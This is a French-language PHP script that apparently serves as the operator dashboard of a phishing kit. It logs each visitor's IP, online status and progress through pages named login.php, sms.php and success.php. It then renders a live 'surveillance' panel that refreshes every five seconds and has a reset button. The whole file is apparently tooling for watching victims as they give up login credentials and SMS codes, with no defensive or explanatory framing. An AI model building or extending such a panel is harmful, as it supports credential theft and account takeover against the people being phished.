<?php
header('Content-Type: application/json');

function formatDate($timestamp) {
    return date('d/m/Y H:i:s', $timestamp / 1000);
}
// Ajoutez cette fonction après la fonction formatDate()
function generateProgressBar($currentPage) {
    $pages = [
        'login.php' => ['name' => 'LOGIN', 'order' => 1],
        'sms.php' => ['name' => 'SMS', 'order' => 2],
        'success.php' => ['name' => 'SUCCESS', 'order' => 3]
    ];

    $currentOrder = isset($pages[$currentPage]) ? $pages[$currentPage]['order'] : 0;
    
    $progressHTML = '<div class="progress-container">';
    $progressHTML .= '<div class="progress-title">Progression du Client:</div>';
    $progressHTML .= '<div class="progress-bar">';
    
    $first = true;
    foreach ($pages as $page => $info) {
        if (!$first) {
            $progressHTML .= '<span class="progress-arrow">→</span>';
        }
        $completed = $info['order'] <= $currentOrder ? 'completed' : '';
        $progressHTML .= sprintf(
            '<div class="progress-step %s"><span class="progress-step-label">%s</span></div>',
            $completed,
            $info['name']
        );
        $first = false;
    }
    
    $progressHTML .= '</div></div>';
    return $progressHTML;
}
$input = json_decode(file_get_contents('php://input'), true);

if (!$input || !isset($input['ip']) || !isset($input['status'])) {
    echo json_encode(['status' => 'error', 'message' => 'Données invalides']);
    exit;
}

$ip = filter_var($input['ip'], FILTER_VALIDATE_IP);
$status = $input['status'];
$timestamp = isset($input['timestamp']) ? $input['timestamp'] : time() * 1000;
$currentPage = isset($input['currentPage']) ? $input['currentPage'] : 'login.php';
$formattedDate = formatDate($timestamp);

// Modifiez la mise à jour du statut
$statusData[$ip] = [
    'status' => $status,
    'timestamp' => $timestamp,
    'formatted_date' => $formattedDate,
    'current_page' => $currentPage 
];

$htmlContent = <<<HTML
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Système de Surveillance</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Share Tech Mono', monospace;
        }

        body {
            background-color: #000;
            color: #0f0;
            padding: 20px;
            position: relative;
            overflow: hidden;
        }

        body::before {
            content: "";
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.1;
            z-index: -1;
            animation: numbers 20s linear infinite;
            pointer-events: none;
        }

        @keyframes numbers {
            0% { content: ""; }
            100% { content: ""; }
        }

        .matrix-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            opacity: 0.1;
        }

        h1 {
            color: #0f0;
            text-align: center;
            margin: 20px 0;
            text-shadow: 0 0 10px #0f0;
            position: relative;
        }

        h1::after {
            content: "";
            display: block;
            width: 100%;
            height: 2px;
            background: linear-gradient(90deg, transparent, #0f0, transparent);
            margin-top: 10px;
        }

        .status-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
            gap: 20px;
            padding: 20px;
        }

        .status-container {
            background: rgba(0, 20, 0, 0.8);
            border: 1px solid #0f0;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 255, 0, 0.2);
            position: relative;
            overflow: hidden;
        }

        .status-container::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 2px;
            height: 100%;
            background: #0f0;
            animation: scan 2s linear infinite;
        }

        @keyframes scan {
            0% { transform: translateX(-100%); }
            100% { transform: translateX(400px); }
        }

        .status-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }

        .status-indicator {
            padding: 5px 15px;
            border-radius: 3px;
            font-weight: bold;
            text-transform: uppercase;
            letter-spacing: 2px;
            animation: blink 1s infinite;
        }

        @keyframes blink {
            50% { opacity: 0.8; }
        }

        .online {
            background-color: rgba(0, 255, 0, 0.2);
            color: #0f0;
            border: 1px solid #0f0;
        }

        .offline {
            background-color: rgba(255, 0, 0, 0.2);
            color: #f00;
            border: 1px solid #f00;
        }

        .ip-address {
            color: #0f0;
            font-size: 1.1em;
            text-shadow: 0 0 5px #0f0;
        }

        .timestamp {
            color: #0a0;
            font-size: 0.9em;
            margin-top: 10px;
        }

        .auto-refresh {
            text-align: center;
            color: #0a0;
            margin-top: 20px;
            font-size: 0.8em;
            opacity: 0.8;
        }

        .stats {
            text-align: center;
            margin: 20px 0;
            color: #0f0;
            font-size: 0.9em;
        }

        /* Styles pour le bouton de reset */
        .reset-button {
            position: fixed;
            bottom: 30px;
            right: 30px;
            background: rgba(255, 0, 0, 0.2);
            border: 1px solid #f00;
            color: #f00;
            padding: 15px 30px;
            cursor: pointer;
            font-family: 'Share Tech Mono', monospace;
            font-size: 1em;
            text-transform: uppercase;
            transition: all 0.3s ease;
            z-index: 1000;
            text-shadow: 0 0 5px #f00;
            letter-spacing: 2px;
        }

        .reset-button:hover {
            background: rgba(255, 0, 0, 0.4);
            box-shadow: 0 0 20px rgba(255, 0, 0, 0.4);
            transform: scale(1.05);
        }

        .reset-button::before {
            content: "⚠";
            margin-right: 10px;
        }

        /* Modal de confirmation */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.9);
            z-index: 1001;
        }

        .modal-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: rgba(0, 20, 0, 0.95);
            border: 1px solid #0f0;
            padding: 30px;
            text-align: center;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 255, 0, 0.2);
        }

        .modal-buttons {
            margin-top: 20px;
            display: flex;
            justify-content: center;
            gap: 20px;
        }

        .modal-button {
            padding: 10px 20px;
            cursor: pointer;
            font-family: 'Share Tech Mono', monospace;
            text-transform: uppercase;
            border: none;
            transition: all 0.3s ease;
        }

        .confirm-reset {
            background: rgba(255, 0, 0, 0.2);
            border: 1px solid #f00;
            color: #f00;
        }

        .cancel-reset {
            background: rgba(0, 255, 0, 0.2);
            border: 1px solid #0f0;
            color: #0f0;
        }

        .modal-button:hover {
            transform: scale(1.05);
            box-shadow: 0 0 10px currentColor;
        }

        /* Animation de chargement */
        .loading {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.9);
            z-index: 1002;
            color: #0f0;
            font-size: 24px;
            text-align: center;
            padding-top: 20%;
        }

        .loading::after {
            content: "";
            animation: loading 1s infinite;
        }

        @keyframes loading {
            0% { content: ""; }
            25% { content: "."; }
            50% { content: ".."; }
            75% { content: "..."; }
        }

        .progress-container {
            margin-top: 15px;
            border-top: 1px solid rgba(0, 255, 0, 0.2);
            padding-top: 15px;
        }

        .progress-title {
            color: #0f0;
            font-size: 0.9em;
            margin-bottom: 10px;
            text-transform: uppercase;
            text-shadow: 0 0 5px #0f0;
        }

        .progress-bar {
            display: flex;
            align-items: center;
            gap: 5px;
            margin-top: 10px;
            padding: 5px;
            background: rgba(0, 20, 0, 0.2);
            border-radius: 3px;
        }

        .progress-step {
            flex: 1;
            height: 30px;
            background: rgba(0, 20, 0, 0.3);
            border: 1px solid #0f0;
            position: relative;
            transition: all 0.3s ease;
            border-radius: 3px;
        }

        .progress-step.completed {
            background: rgba(0, 255, 0, 0.2);
            box-shadow: 0 0 10px rgba(0, 255, 0, 0.2);
            animation: pulse 2s infinite;
        }

        @keyframes pulse {
            0% { box-shadow: 0 0 5px rgba(0, 255, 0, 0.2); }
            50% { box-shadow: 0 0 15px rgba(0, 255, 0, 0.4); }
            100% { box-shadow: 0 0 5px rgba(0, 255, 0, 0.2); }
        }

        .progress-step-label {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            color: #0f0;
            font-size: 0.8em;
            white-space: nowrap;
            text-shadow: 0 0 5px #0f0;
            font-weight: bold;
        }

        .progress-arrow {
            color: #0f0;
            font-size: 1.2em;
            text-shadow: 0 0 5px #0f0;
            animation: blink 1s infinite;
        }
    </style>
    <script>
        // Matrix background effect
        function createMatrixBackground() {
            const canvas = document.createElement('canvas');
            canvas.classList.add('matrix-bg');
            document.body.appendChild(canvas);
            const ctx = canvas.getContext('2d');

            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;

            const columns = canvas.width / 20;
            const drops = [];

            for (let i = 0; i < columns; i++) {
                drops[i] = 1;
            }

            function draw() {
                ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
                ctx.fillRect(0, 0, canvas.width, canvas.height);

                ctx.fillStyle = '#0F0';
                ctx.font = '15px monospace';

                for (let i = 0; i < drops.length; i++) {
                    const text = Math.random().toString(36).charAt(2);
                    ctx.fillText(text, i * 20, drops[i] * 20);

                    if (drops[i] * 20 > canvas.height && Math.random() > 0.975) {
                        drops[i] = 0;
                    }
                    drops[i]++;
                }
            }

            setInterval(draw, 35);
        }

        // Fonctions pour le reset
        function showResetConfirmation() {
            document.getElementById('resetModal').style.display = 'block';
        }

        function hideResetConfirmation() {
            document.getElementById('resetModal').style.display = 'none';
        }

        function showLoading() {
            document.getElementById('loadingScreen').style.display = 'block';
        }

        function hideLoading() {
            document.getElementById('loadingScreen').style.display = 'none';
        }

        async function resetSystem() {
            showLoading();
            try {
                const response = await fetch('reset.php', {
                    method: 'POST'
                });
                const data = await response.json();
                
                if (data.status === 'success') {
                    setTimeout(() => {
                        location.reload();
                    }, 2000);
                } else {
                    alert('Erreur lors de la réinitialisation');
                    hideLoading();
                }
            } catch (error) {
                alert('Erreur lors de la réinitialisation');
                hideLoading();
            }
        }

        // Fermer la modal si on clique en dehors
        window.onclick = function(event) {
            if (event.target === document.getElementById('resetModal')) {
                hideResetConfirmation();
            }
        }

        // Rafraîchissement automatique
        setInterval(function() {
            location.reload();
        }, 5000);

        // Initialiser l'effet Matrix au chargement
        window.onload = createMatrixBackground;
    </script>
</head>
<body>
    <h1>SYSTÈME DE SURVEILLANCE</h1>
    <div class="stats">
        CONNEXIONS ACTIVES: <span id="active-count">0</span> | 
        DERNIÈRE MISE À JOUR: <span id="last-update">${formattedDate}</span>
    </div>
    <div id="status-list" class="status-grid">
    </div>
    <div class="auto-refresh">
        [ACTUALISATION AUTOMATIQUE: 5 SECONDES]
    </div>

    <!-- Bouton de reset -->
    <button class="reset-button" onclick="showResetConfirmation()">Reset System</button>

    <!-- Modal de confirmation -->
    <div id="resetModal" class="modal">
        <div class="modal-content">
            <h2 style="color: #f00; margin-bottom: 20px;">ATTENTION</h2>
            <p style="color: #0f0; margin-bottom: 20px;">Êtes-vous sûr de vouloir réinitialiser le système ?</p>
            <div class="modal-buttons">
                <button class="modal-button confirm-reset" onclick="resetSystem()">Confirmer</button>
                <button class="modal-button cancel-reset" onclick="hideResetConfirmation()">Annuler</button>
            </div>
        </div>
    </div>

    <!-- Écran de chargement -->
    <div id="loadingScreen" class="loading">
        RÉINITIALISATION DU SYSTÈME
    </div>
</body>
</html>
HTML;

// Gérer les statuts existants
$statusFile = 'status_data.json';
$statusData = [];

if (file_exists($statusFile)) {
    $statusData = json_decode(file_get_contents($statusFile), true) ?? [];
}

$statusData[$ip] = [
    'status' => $status,
    'timestamp' => $timestamp,
    'formatted_date' => $formattedDate,
    'current_page' => $currentPage  // Ajout de cette ligne
];

// Sauvegarder les données
file_put_contents($statusFile, json_encode($statusData));

// Générer les blocs de statut
$statusBlocks = '';
$activeCount = 0;

foreach ($statusData as $clientIp => $data) {
    $isOnline = in_array($data['status'], ['active', 'visible', 'online']);
    if ($isOnline) $activeCount++;
    
    $statusClass = $isOnline ? 'online' : 'offline';
    $statusText = $isOnline ? 'CONNECTÉ' : 'DÉCONNECTÉ';
    
    // Utilisez la page stockée dans les données
    $currentPage = isset($data['current_page']) ? $data['current_page'] : 'login.php';
    $progressBar = generateProgressBar($currentPage);
    
    $statusBlocks .= <<<HTML
    <div class="status-container">
        <div class="status-header">
            <span class="status-indicator {$statusClass}">{$statusText}</span>
            <span class="ip-address">{$clientIp}</span>
        </div>
        <div class="timestamp">DERNIÈRE ACTIVITÉ: {$data['formatted_date']}</div>
        {$progressBar}
    </div>
HTML;
}

// Insérer les blocs de statut dans le HTML
$htmlContent = str_replace('<div id="status-list" class="status-grid">', '<div id="status-list" class="status-grid">' . $statusBlocks, $htmlContent);
$htmlContent = str_replace('<span id="active-count">0</span>', '<span id="active-count">' . $activeCount . '</span>', $htmlContent);

// Sauvegarder le fichier HTML
file_put_contents('status.html', $htmlContent);

echo json_encode([
    'status' => 'success',
    'message' => 'Statut mis à jour'
]);
?>